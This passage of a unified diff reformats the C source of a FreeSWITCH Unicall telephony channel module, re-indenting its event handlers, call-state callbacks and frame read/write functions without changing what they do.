+ assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_dropcall\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_dropcall\n");
}
static void on_releasecall(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_releasecall\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_releasecall\n");
}
static void on_farblocked(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- //switch_channel_t *channel;
- //private_t *tech_pvt;
+ //switch_channel_t *channel;
+ //private_t *tech_pvt;
- //tech_pvt = switch_core_session_get_private(session);
- //assert(tech_pvt != NULL);
- //channel = switch_core_session_get_channel(session);
- //assert(channel != NULL);
+ //tech_pvt = switch_core_session_get_private(session);
+ //assert(tech_pvt != NULL);
+ //channel = switch_core_session_get_channel(session);
+ //assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_farblocked\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_farblocked\n");
}
static void on_farunblocked(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- //switch_channel_t *channel;
- //private_t *tech_pvt;
+ //switch_channel_t *channel;
+ //private_t *tech_pvt;
- //tech_pvt = switch_core_session_get_private(session);
- //assert(tech_pvt != NULL);
- //channel = switch_core_session_get_channel(session);
- //assert(channel != NULL);
+ //tech_pvt = switch_core_session_get_private(session);
+ //assert(tech_pvt != NULL);
+ //channel = switch_core_session_get_channel(session);
+ //assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_farunblocked\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_farunblocked\n");
}
static void on_localblocked(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- //switch_channel_t *channel;
- //private_t *tech_pvt;
+ //switch_channel_t *channel;
+ //private_t *tech_pvt;
- //tech_pvt = switch_core_session_get_private(session);
- //assert(tech_pvt != NULL);
- //channel = switch_core_session_get_channel(session);
- //assert(channel != NULL);
+ //tech_pvt = switch_core_session_get_private(session);
+ //assert(tech_pvt != NULL);
+ //channel = switch_core_session_get_channel(session);
+ //assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_localblocked\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_localblocked\n");
}
static void on_localunblocked(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- //switch_channel_t *channel;
- //private_t *tech_pvt;
+ //switch_channel_t *channel;
+ //private_t *tech_pvt;
- //tech_pvt = switch_core_session_get_private(session);
- //assert(tech_pvt != NULL);
- //channel = switch_core_session_get_channel(session);
- //assert(channel != NULL);
+ //tech_pvt = switch_core_session_get_private(session);
+ //assert(tech_pvt != NULL);
+ //channel = switch_core_session_get_channel(session);
+ //assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_localunblocked\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_localunblocked\n");
}
static void on_alarm(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_alarm\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_alarm\n");
}
static void on_resetlinedev(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_resetlinedev\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_resetlinedev\n");
}
static void on_l2frame(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_l2frame\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_l2frame\n");
}
static void on_l2bufferfull(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_l2bufferfull\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_l2bufferfull\n");
}
static void on_l2nobuffer(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_l2nobuffer\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_l2nobuffer\n");
}
static void on_usrinfo(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_usrinfo\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_usrinfo\n");
}
static void handle_uc_event(uc_t *uc, void *user_data, uc_event_t *e)
{
- switch_core_session_t *session;
+ switch_core_session_t *session;
- session = (switch_core_session_t *) user_data;
- assert(session != NULL);
+ session = (switch_core_session_t *) user_data;
+ assert(session != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "event %s\n", uc_event_to_str(e->e));
- switch (e->e)
- {
- case UC_EVENT_DEVICEFAIL:
- on_devicefail(uc, session, e);
- break;
- case UC_EVENT_PROTOCOLFAIL:
- on_protocolfail(uc, session, e);
- break;
- case UC_EVENT_SIGCHANSTATUS:
- on_sigchanstatus(uc, session, e);
- break;
- case UC_EVENT_DETECTED:
- on_detected(uc, session, e);
- break;
- case UC_EVENT_OFFERED:
- on_offered(uc, session, e);
- break;
- case UC_EVENT_REQUESTMOREINFO:
- on_requestmoreinfo(uc, session, e);
- break;
- case UC_EVENT_ACCEPTED:
- on_accepted(uc, session, e);
- break;
- case UC_EVENT_CALLINFO:
- on_callinfo(uc, session, e);
- break;
- case UC_EVENT_FACILITY:
- on_facility(uc, session, e);
- break;
- case UC_EVENT_DIALEDNUMBER:
- on_dialednumber(uc, session, e);
- break;
- case UC_EVENT_DIALING:
- on_dialing(uc, session, e);
- break;
- case UC_EVENT_SENDMOREINFO:
- on_sendmoreinfo(uc, session, e);
- break;
- case UC_EVENT_PROCEEDING:
- on_proceeding(uc, session, e);
- break;
- case UC_EVENT_ALERTING:
- on_alerting(uc, session, e);
- break;
- case UC_EVENT_CONNECTED:
- on_connected(uc, session, e);
- break;
- case UC_EVENT_ANSWERED:
- on_answered(uc, session, e);
- break;
- case UC_EVENT_FARDISCONNECTED:
- on_fardisconnected(uc, session, e);
- break;
- case UC_EVENT_DROPCALL:
- on_dropcall(uc, session, e);
- break;
- case UC_EVENT_RELEASECALL:
- on_releasecall(uc, session, e);
- break;
- case UC_EVENT_FARBLOCKED:
- on_farblocked(uc, session, e);
- break;
- case UC_EVENT_FARUNBLOCKED:
- on_farunblocked(uc, session, e);
- break;
- case UC_EVENT_LOCALBLOCKED:
- on_localblocked(uc, session, e);
- break;
- case UC_EVENT_LOCALUNBLOCKED:
- on_localunblocked(uc, session, e);
- break;
- case UC_EVENT_ALARM:
- on_alarm(uc, session, e);
- break;
- case UC_EVENT_RESETLINEDEV:
- on_resetlinedev(uc, session, e);
- break;
- case UC_EVENT_L2FRAME:
- on_l2frame(uc, session, e);
- break;
- case UC_EVENT_L2BUFFERFULL:
- on_l2bufferfull(uc, session, e);
- break;
- case UC_EVENT_L2NOBUFFER:
- on_l2nobuffer(uc, session, e);
- break;
- case UC_EVENT_USRINFO:
- on_usrinfo(uc, session, e);
- break;
- default:
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unknown unicall event %d\n", e->e);
- break;
- }
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "event %s\n", uc_event_to_str(e->e));
+ switch (e->e) {
+ case UC_EVENT_DEVICEFAIL:
+ on_devicefail(uc, session, e);
+ break;
+ case UC_EVENT_PROTOCOLFAIL:
+ on_protocolfail(uc, session, e);
+ break;
+ case UC_EVENT_SIGCHANSTATUS:
+ on_sigchanstatus(uc, session, e);
+ break;
+ case UC_EVENT_DETECTED:
+ on_detected(uc, session, e);
+ break;
+ case UC_EVENT_OFFERED:
+ on_offered(uc, session, e);
+ break;
+ case UC_EVENT_REQUESTMOREINFO:
+ on_requestmoreinfo(uc, session, e);
+ break;
+ case UC_EVENT_ACCEPTED:
+ on_accepted(uc, session, e);
+ break;
+ case UC_EVENT_CALLINFO:
+ on_callinfo(uc, session, e);
+ break;
+ case UC_EVENT_FACILITY:
+ on_facility(uc, session, e);
+ break;
+ case UC_EVENT_DIALEDNUMBER:
+ on_dialednumber(uc, session, e);
+ break;
+ case UC_EVENT_DIALING:
+ on_dialing(uc, session, e);
+ break;
+ case UC_EVENT_SENDMOREINFO:
+ on_sendmoreinfo(uc, session, e);
+ break;
+ case UC_EVENT_PROCEEDING:
+ on_proceeding(uc, session, e);
+ break;
+ case UC_EVENT_ALERTING:
+ on_alerting(uc, session, e);
+ break;
+ case UC_EVENT_CONNECTED:
+ on_connected(uc, session, e);
+ break;
+ case UC_EVENT_ANSWERED:
+ on_answered(uc, session, e);
+ break;
+ case UC_EVENT_FARDISCONNECTED:
+ on_fardisconnected(uc, session, e);
+ break;
+ case UC_EVENT_DROPCALL:
+ on_dropcall(uc, session, e);
+ break;
+ case UC_EVENT_RELEASECALL:
+ on_releasecall(uc, session, e);
+ break;
+ case UC_EVENT_FARBLOCKED:
+ on_farblocked(uc, session, e);
+ break;
+ case UC_EVENT_FARUNBLOCKED:
+ on_farunblocked(uc, session, e);
+ break;
+ case UC_EVENT_LOCALBLOCKED:
+ on_localblocked(uc, session, e);
+ break;
+ case UC_EVENT_LOCALUNBLOCKED:
+ on_localunblocked(uc, session, e);
+ break;
+ case UC_EVENT_ALARM:
+ on_alarm(uc, session, e);
+ break;
+ case UC_EVENT_RESETLINEDEV:
+ on_resetlinedev(uc, session, e);
+ break;
+ case UC_EVENT_L2FRAME:
+ on_l2frame(uc, session, e);
+ break;
+ case UC_EVENT_L2BUFFERFULL:
+ on_l2bufferfull(uc, session, e);
+ break;
+ case UC_EVENT_L2NOBUFFER:
+ on_l2nobuffer(uc, session, e);
+ break;
+ case UC_EVENT_USRINFO:
+ on_usrinfo(uc, session, e);
+ break;
+ default:
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unknown unicall event %d\n", e->e);
+ break;
+ }
}
static void tech_init(private_t *tech_pvt, switch_core_session_t *session)
{
- tech_pvt->read_frame.data = tech_pvt->databuf;
- tech_pvt->read_frame.buflen = sizeof(tech_pvt->databuf);
- switch_mutex_init(&tech_pvt->mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
- switch_mutex_init(&tech_pvt->flag_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
- switch_core_session_set_private(session, tech_pvt);
- tech_pvt->session = session;
+ tech_pvt->read_frame.data = tech_pvt->databuf;
+ tech_pvt->read_frame.buflen = sizeof(tech_pvt->databuf);
+ switch_mutex_init(&tech_pvt->mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
+ switch_mutex_init(&tech_pvt->flag_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
+ switch_core_session_set_private(session, tech_pvt);
+ tech_pvt->session = session;
}
/*
@@ -873,74 +838,74 @@
*/
static switch_status_t unicall_on_init(switch_core_session_t *session)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_init(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_init(%p)\n", (void *) session);
- switch_set_flag_locked(tech_pvt, TFLAG_IO);
+ switch_set_flag_locked(tech_pvt, TFLAG_IO);
- /* Move channel's state machine to ROUTING. This means the call is trying
- to get from the initial state to the point where a destination has been
- identified. If the channel is simply left in the initial state, nothing
- will happen. */
- switch_channel_set_state(channel, CS_ROUTING);
- switch_mutex_lock(globals.mutex);
- globals.calls++;
- switch_mutex_unlock(globals.mutex);
+ /* Move channel's state machine to ROUTING. This means the call is trying
+ to get from the initial state to the point where a destination has been
+ identified. If the channel is simply left in the initial state, nothing
+ will happen. */
+ switch_channel_set_state(channel, CS_ROUTING);
+ switch_mutex_lock(globals.mutex);
+ globals.calls++;
+ switch_mutex_unlock(globals.mutex);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t unicall_on_routing(switch_core_session_t *session)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_routing(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_routing(%p)\n", (void *) session);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s channel routing\n", switch_channel_get_name(channel));
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s channel routing\n", switch_channel_get_name(channel));
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t unicall_on_execute(switch_core_session_t *session)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_execute(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_execute(%p)\n", (void *) session);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s channel execute\n", switch_channel_get_name(channel));
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s channel execute\n", switch_channel_get_name(channel));
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t unicall_on_destroy(switch_core_session_t *session)
{
- //switch_channel_t *channel;
- private_t *tech_pvt;
+ //switch_channel_t *channel;
+ private_t *tech_pvt;
- //channel = switch_core_session_get_channel(session);
- //assert(channel != NULL);
+ //channel = switch_core_session_get_channel(session);
+ //assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
+ tech_pvt = switch_core_session_get_private(session);
if (tech_pvt) {
if (switch_core_codec_ready(&tech_pvt->read_codec))
@@ -948,1030 +913,960 @@
if (switch_core_codec_ready(&tech_pvt->write_codec))
switch_core_codec_destroy(&tech_pvt->write_codec);
}
-
+
return SWITCH_STATUS_SUCCESS;
-
+
}
static switch_status_t unicall_on_hangup(switch_core_session_t *session)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_hangup(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_hangup(%p)\n", (void *) session);
- switch_clear_flag_locked(tech_pvt, TFLAG_IO);
- switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
- //switch_thread_cond_signal(tech_pvt->cond);
+ switch_clear_flag_locked(tech_pvt, TFLAG_IO);
+ switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
+ //switch_thread_cond_signal(tech_pvt->cond);
-
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s channel hangup\n", switch_channel_get_name(channel));
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s channel hangup\n", switch_channel_get_name(channel));
+
#if 0
- if ((ret = uc_call_control(uc, UC_OP_DROPCALL, crn, (void *) (intptr_t) switch_channel_get_cause(channel))) < 0)
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Drop call failed - %s\n", uc_ret_to_str(ret));
- return SWITCH_STATUS_FAILED;
- }
- /*endif*/
+ if ((ret = uc_call_control(uc, UC_OP_DROPCALL, crn, (void *) (intptr_t) switch_channel_get_cause(channel))) < 0) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Drop call failed - %s\n", uc_ret_to_str(ret));
+ return SWITCH_STATUS_FAILED;
+ }
+ /*endif */
#endif
- switch_mutex_lock(globals.mutex);
- if (--globals.calls < 0)
- globals.calls = 0;
- switch_mutex_unlock(globals.mutex);
+ switch_mutex_lock(globals.mutex);
+ if (--globals.calls < 0)
+ globals.calls = 0;
+ switch_mutex_unlock(globals.mutex);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t unicall_kill_channel(switch_core_session_t *session, int sig)
{
- switch_channel_t *channel = NULL;
- private_t *tech_pvt = NULL;
+ switch_channel_t *channel = NULL;
+ private_t *tech_pvt = NULL;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_kill_channel(%p, %d)\n", (void *) session, sig);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_kill_channel(%p, %d)\n", (void *) session, sig);
- switch (sig)
- {
- case SWITCH_SIG_KILL:
-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_kill_channel(%p, %d) SIG_KILL\n", (void *) session, sig);
- switch_clear_flag_locked(tech_pvt, TFLAG_IO);
- switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
- switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING);
- //switch_thread_cond_signal(tech_pvt->cond);
- break;
- case SWITCH_SIG_BREAK:
-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_kill_channel(%p, %d) SIG_BREAK\n", (void *) session, sig);
- switch_set_flag_locked(tech_pvt, TFLAG_BREAK);
- break;
- default:
-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_kill_channel(%p, %d) DEFAULT\n", (void *) session, sig);
- break;
- }
+ switch (sig) {
+ case SWITCH_SIG_KILL:
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_kill_channel(%p, %d) SIG_KILL\n", (void *) session, sig);
+ switch_clear_flag_locked(tech_pvt, TFLAG_IO);
+ switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
+ switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING);
+ //switch_thread_cond_signal(tech_pvt->cond);
+ break;
+ case SWITCH_SIG_BREAK:
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_kill_channel(%p, %d) SIG_BREAK\n", (void *) session, sig);
+ switch_set_flag_locked(tech_pvt, TFLAG_BREAK);
+ break;
+ default:
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_kill_channel(%p, %d) DEFAULT\n", (void *) session, sig);
+ break;
+ }
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t unicall_on_exchange_media(switch_core_session_t *session)
{
-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_exchange_media(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_exchange_media(%p)\n", (void *) session);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "CHANNEL LOOPBACK\n");
- return SWITCH_STATUS_SUCCESS;
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "CHANNEL LOOPBACK\n");
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t unicall_on_soft_execute(switch_core_session_t *session)
{
-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_soft_execute(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_soft_execute(%p)\n", (void *) session);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "CHANNEL TRANSMIT\n");
- return SWITCH_STATUS_SUCCESS;
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "CHANNEL TRANSMIT\n");
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t unicall_send_dtmf(switch_core_session_t *session, const switch_dtmf_t *dtmf)
{
- private_t *tech_pvt = switch_core_session_get_private(session);
- switch_assert(tech_pvt != NULL);
+ private_t *tech_pvt = switch_core_session_get_private(session);
+ switch_assert(tech_pvt != NULL);
-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_send_dtmf(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_send_dtmf(%p)\n", (void *) session);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t unicall_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id)
{
- switch_channel_t *channel = NULL;
- private_t *tech_pvt = NULL;
- //switch_time_t started = switch_time_now();
- //unsigned int elapsed;
- switch_byte_t *data;
+ switch_channel_t *channel = NULL;
+ private_t *tech_pvt = NULL;
+ //switch_time_t started = switch_time_now();
+ //unsigned int elapsed;
+ switch_byte_t *data;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_read_frame(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_read_frame(%p)\n", (void *) session);
- tech_pvt->read_frame.flags = SFF_NONE;
- *frame = NULL;
+ tech_pvt->read_frame.flags = SFF_NONE;
+ *frame = NULL;
- while (switch_test_flag(tech_pvt, TFLAG_IO))
- {
- if (switch_test_flag(tech_pvt, TFLAG_BREAK))
- {
- switch_clear_flag(tech_pvt, TFLAG_BREAK);
- data = (switch_byte_t *) tech_pvt->read_frame.data;
- data[0] = 65;
- data[1] = 0;
- tech_pvt->read_frame.datalen = 2;
- tech_pvt->read_frame.flags = SFF_CNG;
- *frame = &tech_pvt->read_frame;
- return SWITCH_STATUS_SUCCESS;
- }
+ while (switch_test_flag(tech_pvt, TFLAG_IO)) {
+ if (switch_test_flag(tech_pvt, TFLAG_BREAK)) {
+ switch_clear_flag(tech_pvt, TFLAG_BREAK);
+ data = (switch_byte_t *) tech_pvt->read_frame.data;
+ data[0] = 65;
+ data[1] = 0;
+ tech_pvt->read_frame.datalen = 2;
+ tech_pvt->read_frame.flags = SFF_CNG;
+ *frame = &tech_pvt->read_frame;
+ return SWITCH_STATUS_SUCCESS;
+ }
- if (!switch_test_flag(tech_pvt, TFLAG_IO))
- return SWITCH_STATUS_FALSE;
+ if (!switch_test_flag(tech_pvt, TFLAG_IO))
+ return SWITCH_STATUS_FALSE;
- if (switch_test_flag(tech_pvt, TFLAG_IO) && switch_test_flag(tech_pvt, TFLAG_VOICE))
- {
- switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
- if (!tech_pvt->read_frame.datalen)
- continue;
- *frame = &tech_pvt->read_frame;
+ if (switch_test_flag(tech_pvt, TFLAG_IO) && switch_test_flag(tech_pvt, TFLAG_VOICE)) {
+ switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
+ if (!tech_pvt->read_frame.datalen)
+ continue;
+ *frame = &tech_pvt->read_frame;
#if SWITCH_BYTE_ORDER == __BIG_ENDIAN
- if (switch_test_flag(tech_pvt, TFLAG_LINEAR))
- switch_swap_linear((*frame)->data, (int) (*frame)->datalen / 2);
+ if (switch_test_flag(tech_pvt, TFLAG_LINEAR))
+ switch_swap_linear((*frame)->data, (int) (*frame)->datalen / 2);
#endif
- return SWITCH_STATUS_SUCCESS;
- }
+ return SWITCH_STATUS_SUCCESS;
+ }
- switch_cond_next();
- }
+ switch_cond_next();
+ }
- return SWITCH_STATUS_FALSE;
+ return SWITCH_STATUS_FALSE;
}
static switch_status_t unicall_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id)
{
- switch_channel_t *channel = NULL;
- private_t *tech_pvt = NULL;
- //switch_frame_t *pframe;
+ switch_channel_t *channel = NULL;
+ private_t *tech_pvt = NULL;
+ //switch_frame_t *pframe;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
